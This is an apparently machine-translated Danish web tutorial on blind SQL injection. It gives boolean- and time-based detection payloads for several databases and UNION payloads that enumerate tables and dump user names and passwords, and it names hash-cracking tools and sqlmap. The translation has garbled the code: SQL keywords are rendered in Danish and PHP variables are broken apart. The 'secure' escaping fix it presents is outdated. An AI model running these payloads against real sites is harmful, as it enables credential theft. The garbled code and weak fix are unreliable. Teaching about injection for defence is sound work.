Sikkerhed

Blind SQL Injection Techniques Tutorial

Blind SQL Injection Techniques Tutorial

Hvad er SQL Injection?

SQL Injection er en type databaseangreb, hvor en angriber forsøger at stjæle oplysninger fra en webapplikations database. Dette kan endda resultere i fjernkørsel af kode afhængigt af webapplikationsmiljø og databaseversion.

SQL Injection sker på grund af dårlig desinficering af brugerinput. Hvis du tager input fra brugeren på et kodningssprog (PHP, ASP.NET) og sende det direkte til serverens database uden at anvende noget filter på input, dette kan resultere i SQL Injection sårbarhed.

For eksempel er følgende PHP-kode sårbar over for SQL Injection-angreb, fordi den direkte videregiver brugerindgangen til databasen. Angriberen kan lave sin egen ondsindede databaseforespørgsel for at udtrække data fra databasen.

// Brugerindgangen er gemt i id-variablen
$ id = $ _GET ['id'];
// Brugerindgangen udføres direkte i databasen
$ getid = "VÆLG fornavn, efternavn FRA brugere WHERE user_id = '$ id'";
// I tilfælde af fejl eller succes returneres resultaterne til brugeren
$ resultat = mysql_query ($ getid) eller dø ('
'' . mysql_error () . ''
');
$ num = mysql_numrows ($ resultat);

På den anden side gives et sikkert kodeeksempel på en sådan kode til at interagere med databasen. Det tager brugerinput og filtrerer eventuelle ondsindede tegn fra det og sender det derefter til databasen.

$ id = $ _GET ['id'];
$ id = stripslashes ($ id);
$ id = mysql_real_escape_string ($ id);

Normal vs blind SQL-injektion

Normal SQL-injektion

I normal SQL Injection, hvis en angriber forsøger at sætte et enkelt citat (') som input, når dette enkelt citat udføres i databasen, svarer databasen med en fejl. Fejlen udskrives i angriberens browser.

Koden, der er ansvarlig for denne fejl, er

// hvis databasen reagerer med en fejl, bliver "eller die ()" - funktionen udført
for at udskrive fejlen
$ resultat = mysql_query ($ getid) eller dø ('
'' . mysql_error () . ''
');

I Normal SQL Injection kan angriberen se fejlresultaterne og det er let at identificere og udnytte.

Blind SQL-injektion

I tilfælde af blind SQL Injection, når en ondsindet forespørgsel såsom et enkelt tilbud udføres, vises databasefejlen ikke i angriberens browser, eller den vises på en meget generisk måde, der ikke let kan identificeres og udnyttes af angriberen.

Backend-koden, der er ansvarlig for dette, er angivet nedenfor

$ resultat = mysql_query ($ getid); // Fjernet 'or die' for at undertrykke mysql-fejl

I Blind SQL Injection kan angriberen ikke se de komplette resultater, hvorfor denne type SQLi er vanskelig at identificere og udnytte, men den har samme risikoniveau som ved normal SQLi.

Teknikker til at opdage blind SQL-injektion

Mens normal SQL Injection kan detekteres ved at sende et enkelt tilbud (') som input og undersøge outputfejlen, kan Blind SQL-injektion ikke detekteres ved hjælp af denne teknik, fordi den ikke viser nogen SQL-fejl. Der er mange teknikker til at detektere en blind SQL-injektion, nogle af dem gives som følger

SAND og FALSK-baseret detektion

Et af kendetegnene ved databaser, herunder MySQL, er den forskellige adfærd ved sande og falske udsagn. Selvom databasen ikke viser nogen fejl, kan vi beslutte at bruge brugen af ​​sande og falske udsagn. Overvej følgende scenarie,

Den næste side er sårbar over for Blind SQL-injektion, hvilket giver en ægte erklæring, der viser alle poster i databasen

1 'eller 1 = 1 #

At give en falsk forespørgsel som input viser ingen data.

1 'eller 1 = 2 #

Selv websiden viser ingen fejl, forskellen mellem de to sider fortæller, at vores forespørgsler udføres med succes i databasen.

TIME-baseret detektion

Der er en funktion i databaser inklusive MySQL, MS-SQL og andre til forsinkelser. Vi kan bruge SLEEP () -funktionen i vores forespørgsel, hvis databasens svar er langsomt betyder det, at vores forespørgsel udføres med succes, og websiden er sårbar over for blind SQL-injektion.

1 'OG søvn (15) #

Der er en anden tidskrævende funktion “BENCHMARK”, som kan bruges til at forsinke databasesvaret

1 'OG BENCHMARK (10000000, SHA1 (1337)) #

Ovenstående linje udfører SHA1 () -funktionen 10000000 gange i databasen, hvilket vil tilføje en betydelig forsinkelse i svaret.

Tidsbaseret blind SQL-injektion i andre databaser

MS SQL: ID = 1; vent på forsinkelse '0: 0: 10'-

ORACLE SQL: OG [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: AND [RANDNUM] = (VÆLG [RANDNUM] FRA PG_SLEEP ([SLEEPTIME]))

SQLite: AND [RANDNUM] = LIKE ('ABCDEFG', ØVERSTE (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Uddrag af databaseoplysninger

Det første trin i udpakning af database er bestemmelse af søjlenumre i databasen. Prøv derefter at finde sårbare kolonner for at udtrække yderligere data.

Blind SQL Injection opfører sig forskelligt med forskellige kolonnetal i "rækkefølge efter" forespørgsel.

1 'bestilling af 1 #

Ovenstående udsagn er sandt, fordi mindst 1 kolonne altid findes i en database. Prøv nu med et meget stort antal.

1 'bestilling af 10000 #

Databasesvaret er anderledes end det foregående. Prøv nu med 2 kolonner.

Erklæringen fungerede, det betyder, at databasen har 2 eller flere kolonner. Prøv nu med 3 kolonner.

1 'rækkefølge af 3 #

Databasen har ikke sendt noget svar, det betyder, at databasen kun har 2 kolonner. Nu prøver vi at dumpe listen over tabeller i databasen, vi bruger følgende forespørgsel til det

1 'union vælger alle 1, group_concat (tabelnavn) fra informationsskema.
tabeller hvor tabel_skema = database () #

Der er to tabeller i backend-databasen "gæstebog & brugere". Tabellen "brugere" kan indeholde brugernavne og adgangskoder. For at udtrække kolonnenavne fra tabellen skal du indsætte følgende forespørgsel.

1 'union vælger alle 1, group_concat (column_name) fra information_schema.
kolonner hvor tabel_skema = database () #

Nu har vi ekstraheret kolonnenavne, dette inkluderer bruger- og adgangskodekolonner. Disse kolonner gemmer kundernes brugernavne og deres adgangskoder.

Nu prøver vi at udtrække data ved hjælp af følgende forespørgsel

1 'union alle vælger 1, group_concat (bruger, adgangskode) fra brugere #

Og sådan kan du udnytte Blind SQL Injection uden at stole på fejl. Output-adgangskoder er hashede det meste af tiden, som kan dekrypteres ved hjælp af værktøjer som John The Ripper eller Hashcat.

Konklusion:

Blind SQL Injection er den type SQLi, der ikke viser databasefejl eller reagerer med en meget generisk besked. Derfor er det meget vanskeligt at identificere sårbarhed i Blind SQL Injection på en webside. Når det er registreret, kan du nemt udnytte det ved manuel eller automatiseret proces ved hjælp af SQLmap.

Mus Føj musbevægelser til Windows 10 ved hjælp af disse gratis værktøjer
Føj musbevægelser til Windows 10 ved hjælp af disse gratis værktøjer
I de senere år har computere og operativsystemer udviklet sig meget. Der var et tidspunkt, hvor brugerne skulle bruge kommandoer til at navigere genne...
Mus Styr og administrer musebevægelse mellem flere skærme i Windows 10
Styr og administrer musebevægelse mellem flere skærme i Windows 10
Dual Display Mouse Manager lader dig kontrollere og konfigurere musebevægelse mellem flere skærme ved at bremse dens bevægelser nær grænsen. Windows 1...
Mus WinMouse giver dig mulighed for at tilpasse og forbedre musemarkørens bevægelse på Windows-pc
WinMouse giver dig mulighed for at tilpasse og forbedre musemarkørens bevægelse på Windows-pc
Hvis du vil forbedre standardfunktionerne for din musemarkør, skal du bruge freeware WinMouse. Det tilføjer flere funktioner, der hjælper dig med at f...